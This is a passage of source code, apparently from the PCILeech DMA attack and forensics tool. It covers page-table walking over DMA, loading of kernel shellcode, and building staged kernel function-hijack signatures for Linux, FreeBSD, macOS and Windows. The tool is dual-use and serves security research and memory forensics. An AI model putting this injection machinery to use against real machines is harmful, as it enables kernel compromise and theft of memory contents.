Util_PageTable_FindSignatureBase_Search(NULL, *pqwCR3, pPTEs, cPTEs, pqwSignatureBase);\n    if(result) { return TRUE; }\n    // page table scan guessing common CR3 base addresses.\n    pbCache = LocalAlloc(LMEM_ZEROINIT, 0x01000000);\n    for(qwRegCR3 = 0x100000; qwRegCR3 < 0x1000000; qwRegCR3 += 0x1000) {\n        if(Util_PageTable_FindSignatureBase_Search(pbCache, qwRegCR3, pPTEs, cPTEs, pqwSignatureBase)) {\n            *pqwCR3 = qwRegCR3;\n            LocalFree(pbCache);\n            return TRUE;\n        }\n    }\n    LocalFree(pbCache);\n    return FALSE;\n}\n\n_Success_(return)\nBOOL Util_PageTable_FindMappedAddress(_In_ QWORD qwCR3, _In_ QWORD qwAddrPhys, _Out_ PQWORD pqwAddrVirt, _Out_opt_ PQWORD pqwPTE, _Out_opt_ PQWORD pqwPDE, _Out_opt_ PQWORD pqwPDPTE, _Out_opt_ PQWORD pqwPML4E)\n{\n    BOOL result, fFirstRun;\n    QWORD PML4[512], PDPT[512], PD[512], PT[512];\n    QWORD PML4_idx = 0xfff, PDPT_idx = 0xfff, PD_idx = 0xfff, PT_idx = 0xfff;\n    QWORD qwA;\n    QWORD qwPageTableData;\n    result = DeviceReadMEM(qwCR3 & 0x0000fffffffff000, 0x1000, (PBYTE)PML4, TRUE);\n    if(!result) { return FALSE; }\n    qwA = 0;\n    fFirstRun = TRUE;\n    while(qwA || fFirstRun) {\n        fFirstRun = FALSE;\n        if(qwA & 0xffff800000000000) {\n            qwA |= 0xffff800000000000;\n        }\n        if(PML4_idx != (0x1ff & (qwA >> 39))) { // PML4\n            PML4_idx = 0x1ff & (qwA >> 39);\n            qwPageTableData = PML4[PML4_idx];\n            if((qwPageTableData & 0x81) != 0x01) {\n                qwA = (qwA + 0x0000008000000000) & 0xffffff8000000000;\n                continue;\n            }\n            result = DeviceReadMEM(qwPageTableData & 0x0000fffffffff000, 0x1000, (PBYTE)PDPT, FALSE);\n            if(!result) {\n                qwA = (qwA + 0x0000008000000000) & 0xffffff8000000000;\n                continue;\n            }\n            PDPT_idx = 0xfff;\n            PD_idx = 0xfff;\n            PT_idx = 0xfff;\n        }\n        if(PDPT_idx != (0x1ff & (qwA >> 30))) { // PDPT(Page-Directory Pointer Table)\n            PDPT_idx = 0x1ff & (qwA >> 30);\n            qwPageTableData = PDPT[PDPT_idx];\n            if((qwPageTableData & 0x81) != 0x01) {\n                qwA = (qwA + 0x0000000040000000) & 0xffffffffC0000000;\n                continue;\n            }\n            result = DeviceReadMEM(qwPageTableData & 0x0000fffffffff000, 0x1000, (PBYTE)PD, FALSE);\n            if(!result) {\n                qwA = (qwA + 0x0000000040000000) & 0xffffffffC0000000;\n                continue;\n            }\n            PD_idx = 0xfff;\n            PT_idx = 0xfff;\n        }\n        if(PD_idx != (0x1ff & (qwA >> 21))) { // PD (Page Directory)\n            PD_idx = 0x1ff & (qwA >> 21);\n            qwPageTableData = PD[PD_idx];\n            if(((qwPageTableData & 0x81) == 0x81) && ((qwPageTableData & 0x0000ffffffe00000) == (qwAddrPhys & 0x0000ffffffe00000))) { // map 2MB page\n                *pqwAddrVirt = qwA + (qwAddrPhys & 0x1fffff);\n                if(pqwPTE) { *pqwPTE = PD[PD_idx]; }\n                if(pqwPDE) { *pqwPDE = PD[PD_idx]; }\n                if(pqwPDPTE) { *pqwPDPTE = PDPT[PDPT_idx]; }\n                if(pqwPML4E) { *pqwPML4E = PML4[PML4_idx]; }\n                return TRUE;\n            }\n            if((qwPageTableData & 0x81) != 0x01) {\n                qwA = (qwA + 0x0000000000200000) & 0xffffffffffE00000;\n                continue;\n            }\n            result = DeviceReadMEM(qwPageTableData & 0x0000fffffffff000, 0x1000, (PBYTE)PT, FALSE);\n            if(!result) {\n                qwA = (qwA + 0x0000000000200000) & 0xffffffffffE00000;\n                continue;\n            }\n            PT_idx = 0xfff;\n        }\n        if(PT_idx != (0x1ff & (qwA >> 12))) { // PT (Page Table)\n            PT_idx = 0x1ff & (qwA >> 12);\n            qwPageTableData = PT[PT_idx];\n            if(((qwPageTableData & 0x01) == 0x01) && ((qwPageTableData & 0x0000fffffffff000) == (qwAddrPhys & 0x0000fffffffff000))) {\n                *pqwAddrVirt = qwA + (qwAddrPhys & 0xfff);\n                if(pqwPTE) { *pqwPTE = PT[PT_idx]; }\n                if(pqwPDE) { *pqwPDE = PD[PD_idx]; }\n                if(pqwPDPTE) { *pqwPDPTE = PDPT[PDPT_idx]; }\n                if(pqwPML4E) { *pqwPML4E = PML4[PML4_idx]; }\n                return TRUE;\n            }\n            qwA = (qwA + 0x0000000000001000) & 0xfffffffffffff000;\n            continue;\n        }\n    }\n    return FALSE;\n}\n\nBOOL Util_HexAsciiToBinary(_In_ LPSTR sz, _Out_ PBYTE pb, _In_ DWORD cb, _Out_ PDWORD pcb)\n{\n    SIZE_T i, csz = strlen(sz);\n    ZeroMemory(pb, cb);\n    *pcb = (DWORD)(csz >> 1);\n    if((csz % 2) || (cb < *pcb)) { return FALSE; }\n    for(i = 0; i < *pcb; i++) {\n        if(!sscanf_s(sz + (i << 1), \"%02x\", (PDWORD)(pb + i))) { return FALSE; }\n    }\n    return TRUE;\n}\n\nDWORD Util_GetFileSize(_In_ LPSTR sz)\n{\n    FILE *pFile;\n    DWORD size;\n    if(fopen_s(&pFile, sz, \"rb\") || !pFile) { return 0; }\n    fseek(pFile, 0, SEEK_END); // seek to end of file\n    size = ftell(pFile); // get current file pointer\n    fclose(pFile);\n    return size;\n}\n\n_Success_(return)\nBOOL Util_ParseHexFileBuiltin(_In_ LPSTR sz, _Out_writes_(*pcb) PBYTE pb, _In_ DWORD cb, _Out_ PDWORD pcb)\n{\n    SIZE_T i;\n    FILE *pFile;\n    BOOL result;\n    CHAR szPathFile[MAX_PATH] = { 0 };\n    // 1: try load default\n    if(0 == memcmp(\"DEFAULT\", sz, 7)) {\n        for(i = 0; i < (sizeof(SHELLCODE_DEFAULT) / sizeof(SHELLCODE_DEFAULT_STRUCT)); i++) {\n            if((0 == strcmp(SHELLCODE_DEFAULT[i].sz, sz)) && (SHELLCODE_DEFAULT[i].cb <= cb)) {       \n                memcpy(pb, SHELLCODE_DEFAULT[i].pb, SHELLCODE_DEFAULT[i].cb);\n                *pcb = SHELLCODE_DEFAULT[i].cb;\n                return TRUE;\n            }\n        }\n        return FALSE;\n    }\n    // 2: try load hex ascii\n    if(Util_HexAsciiToBinary(sz, pb, cb, pcb)) {\n        return TRUE;\n    }\n    *pcb = 0;\n    if(0 == memcmp(\"-\", sz, 2)) {\n        return TRUE;\n    }\n    // 3: try load file\n    i = strnlen_s(sz, MAX_PATH);\n    if(i > 4 && i < MAX_PATH) { // try to load from file\n        Util_GetFileInDirectory(szPathFile, sz);\n        if(fopen_s(&pFile, szPathFile, \"rb\") || !pFile) { return FALSE; }\n        *pcb = (DWORD)fread(pb, 1, cb, pFile);\n        result = (0 != feof(pFile));\n        fclose(pFile);\n        return result;\n    }\n    return FALSE;\n}\n\nBOOL Util_ParseSignatureLine(_In_ PSTR szLine, _In_ DWORD cSignatureChunks, _Out_ PSIGNATURE_CHUNK pSignatureChunks) {\n    LPSTR szToken, szContext = NULL;\n    PSIGNATURE_CHUNK pChunk;\n    DWORD i;\n    BOOL result;\n    if(!szLine || !strlen(szLine) || szLine[0] == '#') { return FALSE; }\n    for(i = 0; i < cSignatureChunks * 2; i++) {\n        pChunk = &pSignatureChunks[i / 2];\n        szToken = strtok_s(szLine, \",:;\", &szContext);\n        szLine = NULL;\n        if(!szToken) { return FALSE; }\n        if(i % 2 == 0) {\n            if(szToken[0] == '*') {\n                pChunk->tpOffset = SIGNATURE_CHUNK_TP_OFFSET_ANY;\n            } else {\n                if(szToken[0] == 'r') {\n                    pChunk->tpOffset = SIGNATURE_CHUNK_TP_OFFSET_RELATIVE;\n                    szToken = &szToken[1];\n                }\n                pChunk->cbOffset = strtoul(szToken, NULL, 16);\n            }\n        } else {\n            result = Util_ParseHexFileBuiltin(szToken, pChunk->pb, sizeof(pChunk->pb), &pChunk->cb);\n            if(!result) { return FALSE; }\n        }\n    }\n    return TRUE;\n}\n\n_Success_(return)\nBOOL Util_LoadSignatures(_In_ LPSTR szSignatureName, _In_ LPSTR szFileExtension, _Out_ PSIGNATURE pSignatures, _Inout_ PDWORD cSignatures, _In_ DWORD cSignatureChunks)\n{\n    PBYTE pbFile;\n    DWORD cbFile = 0, cSignatureIdx = 0;\n    CHAR szSignatureFile[MAX_PATH];\n    FILE *pFile;\n    LPSTR szContext = NULL, szLine;\n    pbFile = LocalAlloc(LMEM_ZEROINIT, 0x10000);\n    if(!pbFile) { goto fail; }\n    memset(pSignatures, 0, *cSignatures * sizeof(SIGNATURE));\n    // open and read file\n    Util_GetFileInDirectory(szSignatureFile, szSignatureName);\n    if(_strnicmp(szSignatureFile + strlen(szSignatureFile) - strlen(szFileExtension), szFileExtension, MAX_PATH)) { // add extension if missing\n        strcpy_s(szSignatureFile + strlen(szSignatureFile), MAX_PATH - strlen(szSignatureFile), szFileExtension);\n    }\n    if(fopen_s(&pFile, szSignatureFile, \"rb\") || !pFile) { goto fail; }\n    memset(pbFile, 0, 0x10000);\n    cbFile = (DWORD)fread(pbFile, 1, 0x10000, pFile);\n    fclose(pFile);\n    if(!cbFile || cbFile == 0x10000) { goto fail; }\n    // parse file\n    szLine = strtok_s((char*)pbFile, \"\\r\\n\", &szContext);\n    while(szLine && cSignatureIdx < *cSignatures) {\n        if(Util_ParseSignatureLine(szLine, cSignatureChunks, pSignatures[cSignatureIdx].chunk)) {\n            cSignatureIdx++;\n        }\n        szLine = strtok_s(NULL, \"\\r\\n\", &szContext);\n    }\n    *cSignatures = cSignatureIdx;\n    LocalFree(pbFile);\n    return (cSignatureIdx > 0);\nfail:\n    LocalFree(pbFile);\n    return FALSE;\n}\n\nVOID Util_GetFileInDirectory(_Out_writes_(MAX_PATH) LPSTR szPath, _In_ LPSTR szFileName)\n{\n    SIZE_T i, cchPath, cchFileName = strlen(szFileName);\n    ZeroMemory(szPath, MAX_PATH);\n    GetModuleFileNameA(NULL, (LPSTR)szPath, (DWORD)(MAX_PATH - cchFileName - 4));\n    cchPath = strlen(szPath);\n    if(!cchPath) { return; }\n    for(i = cchPath - 1; i > 0; i--) {\n        if(szPath[i] == '/' || szPath[i] == '\\\\') {\n            strcpy_s(&szPath[i + 1], MAX_PATH - i - 5, szFileName);\n            return;\n        }\n    }\n}\n\nDWORD Util_memcmpEx(_In_ PBYTE pb1, _In_ PBYTE pb2, _In_  DWORD cb)\n{\n    DWORD i;\n    for(i = 0; i < cb; i++) {\n        if(pb1[i] != pb2[i]) {\n            return i + 1;\n        }\n    }\n    return 0;\n}\n\nVOID Util_GenRandom(_Out_ PBYTE pb, _In_ DWORD cb)\n{\n    DWORD i = 0;\n    srand((unsigned int)GetTickCount64());\n    if(cb % 2) {\n        *(PBYTE)(pb) = (BYTE)rand();\n        i++;\n    }\n    for(;i <= cb - 2; i += 2) {\n        *(PWORD)(pb + i) = (WORD)rand();\n    }\n}\n\n#define KMD_EXEC_MAX_SHELLCODE_SIZE        0x80000\n\n_Success_(return)\nBOOL Util_LoadKmdExecShellcode(_In_ LPSTR szKmdExecName, _Out_ PKMDEXEC* ppKmdExec)\n{\n    CHAR szKmdExecFile[MAX_PATH];\n    PBYTE pbKmdExec;\n    DWORD cbKmdExec = 0, i;\n    PKMDEXEC pKmdExec;\n    FILE *pFile;\n    pbKmdExec = (PBYTE)LocalAlloc(LMEM_ZEROINIT, KMD_EXEC_MAX_SHELLCODE_SIZE);\n    if(!pbKmdExec) { return FALSE; }\n    // open and read file\n    if(0 == memcmp(\"DEFAULT\", szKmdExecName, 7)) {\n        for(i = 0; i < (sizeof(SHELLCODE_DEFAULT) / sizeof(SHELLCODE_DEFAULT_STRUCT)); i++) {\n            if((0 == strcmp(SHELLCODE_DEFAULT[i].sz, szKmdExecName)) && (SHELLCODE_DEFAULT[i].cb <= KMD_EXEC_MAX_SHELLCODE_SIZE)) {\n                memcpy(pbKmdExec, SHELLCODE_DEFAULT[i].pb, SHELLCODE_DEFAULT[i].cb);\n                cbKmdExec = SHELLCODE_DEFAULT[i].cb;\n                break;\n            }\n        }\n    }\n    if(0 == cbKmdExec) {\n        Util_GetFileInDirectory(szKmdExecFile, szKmdExecName);\n        strcpy_s(szKmdExecFile + strlen(szKmdExecFile), MAX_PATH - strlen(szKmdExecFile), \".ksh\");\n        if(fopen_s(&pFile, szKmdExecFile, \"rb\") || !pFile) { return FALSE; }\n        cbKmdExec = (DWORD)fread(pbKmdExec, 1, KMD_EXEC_MAX_SHELLCODE_SIZE, pFile);\n        fclose(pFile);\n        if(cbKmdExec < sizeof(KMDEXEC)) { goto error; }\n    }\n    // ensure file validity\n    pKmdExec = (PKMDEXEC)pbKmdExec;\n    if(pKmdExec->dwMagic != KMDEXEC_MAGIC) { goto error; }\n    // INFO: TODO: SHA256 integrity validation temporarily removed due to linux port.\n    // parse file\n    pKmdExec->cbShellcode = (pKmdExec->cbShellcode + 0xfff) & 0xfffff000; // align to 4k (otherwise dma write may fail)\n    pKmdExec->szOutFormatPrintf = (LPSTR)((QWORD)pKmdExec + (QWORD)pKmdExec->szOutFormatPrintf);\n    pKmdExec->pbShellcode = (PBYTE)((QWORD)pKmdExec + (QWORD)pKmdExec->pbShellcode);\n    *ppKmdExec = pKmdExec;\n    return TRUE;\nerror:\n    LocalFree(pbKmdExec);\n    pKmdExec = NULL;\n    return FALSE;\n}\n\nQWORD Util_GetNumeric(_In_ LPSTR sz)\n{\n    if((strlen(sz) > 1) && (sz[0] == '0') && ((sz[1] == 'x') || (sz[1] == 'X'))) {\n        return strtoull(sz, NULL, 16); // Hex (starts with 0x)\n    } else {\n        return strtoull(sz, NULL, 10); // Not Hex -> try Decimal\n    }\n}\n\nVOID Util_CreateSignatureLinuxGeneric(_In_ QWORD paBase, \n    _In_ DWORD paSzKallsyms, _In_ QWORD vaSzKallsyms, _In_ QWORD vaFnKallsyms,\n    _In_ DWORD paSzFnHijack, _In_ QWORD vaSzFnHijack, _In_ QWORD vaFnHijack, _Out_ PSIGNATURE pSignature)\n{\n    DWORD dwBaseKallsyms2M = (paSzKallsyms & ~0x1fffff) - ((vaSzKallsyms & ~0x1fffff) - (vaFnKallsyms & ~0x1fffff));    // symbol name base is not same as fn base\n    DWORD dwBaseFnHijack2M = (paSzFnHijack & ~0x1fffff) - ((vaSzFnHijack & ~0x1fffff) - (vaFnHijack & ~0x1fffff));      // symbol name base is not same as fn base\n    memset(pSignature, 0, sizeof(SIGNATURE));\n    Util_ParseHexFileBuiltin(\"DEFAULT_LINUX_X64_STAGE1\", pSignature->chunk[2].pb, 4096, &pSignature->chunk[2].cb);\n    Util_ParseHexFileBuiltin(\"DEFAULT_LINUX_X64_STAGE2\", pSignature->chunk[3].pb, 4096, &pSignature->chunk[3].cb);\n    Util_ParseHexFileBuiltin(\"DEFAULT_LINUX_X64_STAGE3\", pSignature->chunk[4].pb, 4096, &pSignature->chunk[4].cb);\n    pSignature->chunk[2].cbOffset = (DWORD)(dwBaseFnHijack2M + (vaFnHijack & 0x1fffff));\n    pSignature->chunk[3].cbOffset = 0x1000 - ((pSignature->chunk[3].cb + 0x10) & 0xff0);\n    pSignature->chunk[4].cbOffset = (DWORD)(dwBaseKallsyms2M + (vaFnKallsyms & 0x1fffff));\n    pSignature->chunk[0].qwAddress = paBase + dwBaseFnHijack2M + (vaFnHijack & 0x1ff000);\n    pSignature->chunk[1].qwAddress = paBase;\n}\n\nVOID Util_CreateSignatureFreeBSDGeneric(_In_ DWORD paStrTab, _In_ DWORD paFnHijack, _Out_ PSIGNATURE pSignature)\n{\n    memset(pSignature, 0, sizeof(SIGNATURE));\n    Util_ParseHexFileBuiltin(\"DEFAULT_FREEBSD_X64_STAGE1\", pSignature->chunk[2].pb, 4096, &pSignature->chunk[2].cb);\n    Util_ParseHexFileBuiltin(\"DEFAULT_FREEBSD_X64_STAGE2\", pSignature->chunk[3].pb, 4096, &pSignature->chunk[3].cb);\n    Util_ParseHexFileBuiltin(\"DEFAULT_FREEBSD_X64_STAGE3\", pSignature->chunk[4].pb, 4096, &pSignature->chunk[4].cb);\n    pSignature->chunk[0].cbOffset = paFnHijack;\n    pSignature->chunk[1].cbOffset = 0x1e00;\n    pSignature->chunk[2].cbOffset = paFnHijack;\n    pSignature->chunk[3].cbOffset = 0x1e00;\n    pSignature->chunk[4].cbOffset = paStrTab;\n    pSignature->chunk[0].qwAddress = pSignature->chunk[0].cbOffset & ~0xfff;\n    pSignature->chunk[1].qwAddress = pSignature->chunk[1].cbOffset & ~0xfff;\n}\n\nVOID Util_CreateSignatureMacOSGeneric(_In_ DWORD paKernelBase, _In_ DWORD paFunctionHook, _In_ DWORD paStage2, _Out_ PSIGNATURE pSignature)\n{\n    memset(pSignature, 0, sizeof(SIGNATURE));\n    Util_ParseHexFileBuiltin(\"DEFAULT_MACOS_STAGE1\", pSignature->chunk[2].pb, 4096, &pSignature->chunk[2].cb);\n    Util_ParseHexFileBuiltin(\"DEFAULT_MACOS_STAGE2\", pSignature->chunk[3].pb, 4096, &pSignature->chunk[3].cb);\n    Util_ParseHexFileBuiltin(\"DEFAULT_MACOS_STAGE3\", pSignature->chunk[4].pb, 4096, &pSignature->chunk[4].cb);\n    pSignature->chunk[0].cbOffset = paFunctionHook;\n    pSignature->chunk[1].cbOffset = paStage2;\n    pSignature->chunk[2].cbOffset = paFunctionHook;\n    pSignature->chunk[3].cbOffset = paStage2;\n    pSignature->chunk[4].cbOffset = paKernelBase;\n    pSignature->chunk[0].qwAddress = pSignature->chunk[0].cbOffset & ~0xfff;\n    pSignature->chunk[1].qwAddress = pSignature->chunk[1].cbOffset & ~0xfff;\n}\n\nVOID Util_CreateSignatureWindowsHalGeneric(_Out_ PSIGNATURE pSignature)\n{\n    memset(pSignature, 0, sizeof(SIGNATURE));\n    Util_ParseHexFileBuiltin(\"DEFAULT_WINX64_STAGE2_HAL\", pSignature->chunk[3].pb, 4096, &pSignature->chunk[3].cb);\n    Util_ParseHexFileBuiltin(\"DEFAULT_WINX64_STAGE3\", pSignature->chunk[4].pb, 4096, &pSignature->chunk[4].cb);\n}\n\nVOID Util_CreateSignatureLinuxEfiRuntimeServices(_Out_ PSIGNATURE pSignature)\n{\n    memset(pSignature, 0, sizeof(SIGNATURE));\n    Util_ParseHexFileBuiltin(\"DEFAULT_LINUX_X64_STAGE2_EFI\", pSignature->chunk[3].pb, 4096, &pSignature->chunk[3].cb);\n    Util_ParseHexFileBuiltin(\"DEFAULT_LINUX_X64_STAGE3\", pSignature->chunk[4].pb, 4096, &pSignature->chunk[4].cb);\n}\n\nVOID Util_CreateSignatureSearchAll(_In_ PBYTE pb, _In_ DWORD cb, _Out_ PSIGNATURE pSignature)\n{\n    memset(pSignature, 0, sizeof(SIGNATURE));\n    pSignature->chunk[0].tpOffset = SIGNATURE_CHUNK_TP_OFFSET_ANY;\n    pSignature->chunk[0].cb = cb < 0x1000 ? cb : 0x1000;\n    pSignature->chunk[2].tpOffset = SIGNATURE_CHUNK_TP_OFFSET_RELATIVE;\n    memcpy(pSignature->chunk[0].pb, pb, pSignature->chunk[0].cb);\n}\n\nVOID Util_Read1M(_Out_writes_(0x00100000) PBYTE pbBuffer1M, _In_ QWORD qwBaseAddress, _Inout_opt_ PPAGE_STATISTICS pPageStat)\n{\n    QWORD o, p;\n    // try read 1M in 128k chunks\n    for(o = 0; o < 0x00100000; o += 0x00020000) {\n        if((qwBaseAddress + o + 0x00020000 <= ctxMain->cfg.paAddrMax) && DeviceReadMEM(qwBaseAddress + o, 0x00020000, pbBuffer1M + o, FALSE)) {\n            PageStatUpdate(pPageStat, qwBaseAddress + o + 0x00020000, 32, 0);\n        } else {\n            // try read 128k in 4k (page) chunks\n            for(p = 0; p < 0x00020000; p += 0x1000) {\n                if(!(qwBaseAddress + o + p + 0x1000 <= ctxMain->cfg.paAddrMax)) {\n                    return;\n                }\n                if((qwBaseAddress + o + p + 0x1000 <= ctxMain->cfg.paAddrMax) && DeviceReadMEM(qwBaseAddress + o + p, 0x1000, pbBuffer1M + o + p, FALSE)) {\n                    PageStatUpdate(pPageStat, qwBaseAddress + o + p + 0x1000, 1, 0);\n                } else {\n                    PageStatUpdate(pPageStat, qwBaseAddress + o + p + 0x1000, 0, 1);\n                }\n            }\n        }\n    }\n}\n\n_Success_(return)\nBOOL Util_Read16M(_Out_writes_(0x01000000) PBYTE pbBuffer16M, _In_ QWORD qwBaseAddress, _In_opt_ PPAGE_STATISTICS pPageStat)\n{\n    BOOL isSuccess[4] = { FALSE, FALSE, FALSE, FALSE };\n    QWORD i, o, qwOffset, cbRead;\n    if(qwBaseAddress >= ctxMain->cfg.paAddrMax) { return FALSE; }\n    if(!ctxMain->phKMD) { // Native DMA\n        cbRead = min(0x01000000, ctxMain->cfg.paAddrMax - qwBaseAddress);\n        return 0 != DeviceReadDMA(qwBaseAddress, (DWORD)cbRead, pbBuffer16M, pPageStat);\n    }\n    // try read 16M\n    if((qwBaseAddress + 0x01000000 <= ctxMain->cfg.paAddrMax) && DeviceReadMEM(qwBaseAddress, 0x01000000, pbBuffer16M, FALSE)) {\n        PageStatUpdate(pPageStat, qwBaseAddress + 0x01000000, 4096, 0);\n        return TRUE;\n    }\n    // try read 16M in 4M chunks\n    memset(pbBuffer16M, 0, 0x01000000);\n    for(i = 0; i < 4; i++) {\n        o = 0x00400000 * i;\n        isSuccess[i] = (qwBaseAddress + o + 0x00400000 <= ctxMain->cfg.paAddrMax) && DeviceReadMEM(qwBaseAddress + o, 0x00400000, pbBuffer16M + o, FALSE);\n    }\n    // try read failed chunks.\n    for(i = 0; i < 4; i++) {\n        if(isSuccess[i]) {\n            PageStatUpdate(pPageStat, qwBaseAddress + (i + 1) * 0x00400000, 1024, 0);\n        } else {\n            qwOffset = 0x00400000 * i;\n            for(o = 0; o < 0x00400000; o += 0x00100000) {\n                Util_Read1M(pbBuffer16M + qwOffset + o, qwBaseAddress + qwOffset + o, pPageStat);\n            }\n        }\n    }\n    return TRUE;\n}\n\nVOID Util_WaitForPowerOn()\n{\n    BYTE pbDummy[4096];\n    while(TRUE) {\n        if(DeviceOpen()) {\n            if(LcRead(ctxMain->hLC, 0x01000000, 0x1000, pbDummy)) {\n                break;\n            }\n            LcClose(ctxMain->hLC);\n        }\n        Sleep(100);\n    }\n}\n\nVOID Util_WaitForPowerCycle()\n{\n    LcClose(ctxMain->hLC);\n    while(DeviceOpen()) {\n        LcClose(ctxMain->hLC);\n        Sleep(100);\n    }\n    Util_WaitForPowerOn();\n}\n\n#define Util_2HexChar(x) (((((x) & 0xf) <= 9) ? '0' : ('a' - 10)) + ((x) & 0xf))\n\n#define UTIL_PRINTASCII \\\n    \"................................ !\\\"#$%&'()*+,-./0123456789:;<=>?\" \\\n    \"@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\\\]^_`abcdefghijklmnopqrstuvwxyz{|}~ \" \\\n    \"................................................................\" \\\n    \"................................................................\" \\\n\n_Success_(return)\nBOOL Util_FillHexAscii(_In_opt_ PBYTE pb, _In_ DWORD cb, _In_ DWORD cbInitialOffset, _Out_opt_ LPSTR sz, _Inout_ PDWORD pcsz)\n{\n    DWORD i, j, o = 0, iMod, cRows;\n    // checks\n    if((cbInitialOffset > cb) || (cbInitialOffset > 0x1000) || (cbInitialOffset & 0xf)) { return FALSE; }\n    cRows = (cb + 0xf) >> 4;\n    if(!sz) {\n        *pcsz = 1 + cRows * 76;\n        return TRUE;\n    }\n    if(!pb || (*pcsz <= cRows * 76)) { return FALSE; }\n    // fill buffer with bytes\n    for(i = cbInitialOffset; i < cb + ((cb % 16) ? (16 - cb % 16) : 0); i++)\n    {\n        // address\n        if(0 == i % 16) {\n            iMod = i % 0x10000;\n            sz[o++] = Util_2HexChar(iMod >> 12);\n            sz[o++] = Util_2HexChar(iMod >> 8);\n            sz[o++] = Util_2HexChar(iMod >> 4);\n            sz[o++] = Util_2HexChar(iMod);\n            sz[o++] = ' ';\n            sz[o++] = ' ';\n            sz[o++] = ' ';\n            sz[o++] = ' ';\n        } else if(0 == i % 8) {\n            sz[o++] = ' ';\n        }\n        // hex\n        if(i < cb) {\n            sz[o++] = Util_2HexChar(pb[i] >> 4);\n            sz[o++] = Util_2HexChar(pb[i]);\n            sz[o++] = ' ';\n        } else {\n            sz[o++] = ' ';\n            sz[o++] = ' ';\n            sz[o++] = ' ';\n        }\n        // ascii\n        if(15 == i % 16) {\n            sz[o++] = ' ';\n            sz[o++] = ' ';\n            for(j = i - 15; j <= i; j++) {\n                if(j >= cb) {\n                    sz[o++] = ' ';\n                } else {\n                    sz[o++] = UTIL_PRINTASCII[pb[j]];\n                }\n            }\n            sz[o++] = '\\n';\n        }\n    }\n    sz[o] = 0;\n    *pcsz = o;\n    return TRUE;\n}\n\nVOID Util_PrintHexAscii(_In_ PBYTE pb, _In_ DWORD cb, _In_ DWORD cbInitialOffset)\n{\n    DWORD szMax = 0;\n    LPSTR sz;\n    if(cb > 0x10000) {\n        printf(\"Large output. Only displaying first 65kB.\\n\");\n        cb = 0x10000 - cbInitialOffset;\n    }\n    Util_FillHexAscii(pb, cb, cbInitialOffset, NULL, &szMax);\n    if(!(sz = LocalAlloc(0, szMax))) { return; }\n    Util_FillHexAscii(pb, cb, cbInitialOffset, sz, &szMax);\n    printf(\"%s\", sz);\n    LocalFree(sz);\n}\n\n#define UTIL_PRINTABLE_CHARACTERS_MAP \"\" \\\n    \"0000000001100100000000000000000011111111111111111111111111111111\" \\\n    \"1111111111111111111111111111111111111111111111111111111111111110\" \\\n    \"1111111111111111111111111111111111111111111111111111111111111111\" \\\n    \"1111111111111111111111111111111111111111111111111111111111111110\"\n\nVOID Util_AsciiFilter(_In_reads_(cb) PBYTE pb, _In_ DWORD cb)\n{\n    DWORD i;\n    BYTE ch;\n    for(i = 0; i < cb; i++) {\n        ch = pb[i];\n        if(0xff & UTIL_PRINTABLE_CHARACTERS_MAP[ch]) { continue; }\n        pb[i] = '?';\n    }\n}\n\nVOID Util_SplitString2(_In_ LPSTR sz, _In_ CHAR chSplit, _Out_writes_(MAX_PATH) PCHAR _szBuf, _Out_ LPSTR *psz1, _Out_ LPSTR *psz2)\n{\n    DWORD i;\n    strcpy_s(_szBuf, MAX_PATH, sz);\n    *psz1 = _szBuf;\n    for(i = 0; i < MAX_PATH; i++) {\n        if('\\0' == _szBuf[i]) {\n            *psz2 = _szBuf + i;\n            return;\n        }\n        if(chSplit == _szBuf[i]) {\n            _szBuf[i] = '\\0';\n            *psz2 = _szBuf + i + 1;\n            return;\n        }\n    }\n}\n\nVOID Util_GetPathExe(_Out_writes_(MAX_PATH) PCHAR szPath)\n{\n    SIZE_T i;\n    ZeroMemory(szPath, MAX_PATH);\n#ifdef _WIN32\n    GetModuleFileNameA(NULL, szPath, MAX_PATH - 4);\n#endif /* _WIN32 */\n#if defined(LINUX) || defined(MACOS)\n    i = readlink(\"/proc/self/exe\", szPath, MAX_PATH - 4);\n    if(i == (SIZE_T)-1) { return; }\n#endif /* LINUX || MACOS */\n    for(i = strlen(szPath) - 1; i > 0; i--) {\n        if(szPath[i] == '/' || szPath[i] == '\\\\') {\n            szPath[i + 1] = '\\0';\n            return;\n        }\n    }\n}\n"
  },
  {
    "path": "pcileech/util.h",
    "content": "// util.h : definitions of various utility functions.\n//\n// (c) Ulf Frisk, 2016-2026\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#ifndef __UTIL_H__\n#define __UTIL_H__\n#include \"pcileech.h\"\n#include \"oscompatibility.h\"\n#include \"statistics.h\"\n\n/*\n* Retrieve a page table entry (PTE). (4kB pages only).\n* -- qwCR3 = the contents of the CPU register CR3 (= physical address of PML4)\n* -- qwAddressLinear = the virtual address for which the PTE should be retrieved\n* -- pqwPTE = ptr to receive the PTE\n* -- pqwPTEAddrPhysOpt = ptr to receive the physical address of the PTE\n* -- return\n*/\nBOOL Util_PageTable_ReadPTE( _In_ QWORD qwCR3, _In_ QWORD qwAddressLinear, _Out_ PQWORD pqwPTE, _Out_ PQWORD pqwPTEAddrPhys);\n\n/*\n* Change the mode of the mapped address to executable.\n* -- qwCR3\n* -- qwAddressLinear\n* -- return\n*/\nBOOL Util_PageTable_SetModeX(_In_ QWORD qwCR3, _In_ QWORD qwAddressLinear);\n\n/*\n* Find a module base given a page signature. Please note that this is a best\n* effort search. Multiple modules may have the same signature or parts of the\n* paging structures may be outside the 32-bit addressing scope >4GiB.\n* -- pqwCR3 = the contents of the CPU register CR3 (= physical address of PML4) (may be zero on entry if page table base should be searched as well)\n* -- pPTEs = paging signature of the module to find\n* -- cPTEs = number of entries in pPTEs\n* -- pqwSignatureBase = ptr to receive the module base\n* -- return\n*/\n_Success_(return)\nBOOL Util_PageTable_FindSignatureBase(_Inout_ PQWORD pqwCR3, _In_ PSIGNATUREPTE pPTEs, _In_ QWORD cPTEs, _Out_ PQWORD pqwSignatureBase);\n\n/*\n* Search the page tables for a given physical address. The first occurrence for\n* this address will be returned.\n* -- qwCR3 = the physical address of PML4.\n* -- qwAddrPhys = the physical address to search for.\n* -- pqwAddrVirt = ptr to receive virtual address.\n* -- pqwPTE = ptr to optionally receive value of PTE\n* -- pqwPDE = ptr to optionally receive value of PDE\n* -- pqwPDPTE = ptr to optionally receive value of PDPTE\n* -- pqwPML4E = ptr to optionally receive value of PML4E\n* -- return\n*/\n_Success_(return)\nBOOL Util_PageTable_FindMappedAddress(_In_ QWORD qwCR3, _In_ QWORD qwAddrPhys, _Out_ PQWORD pqwAddrVirt, _Out_opt_ PQWORD pqwPTE, _Out_opt_ PQWORD pqwPDE, 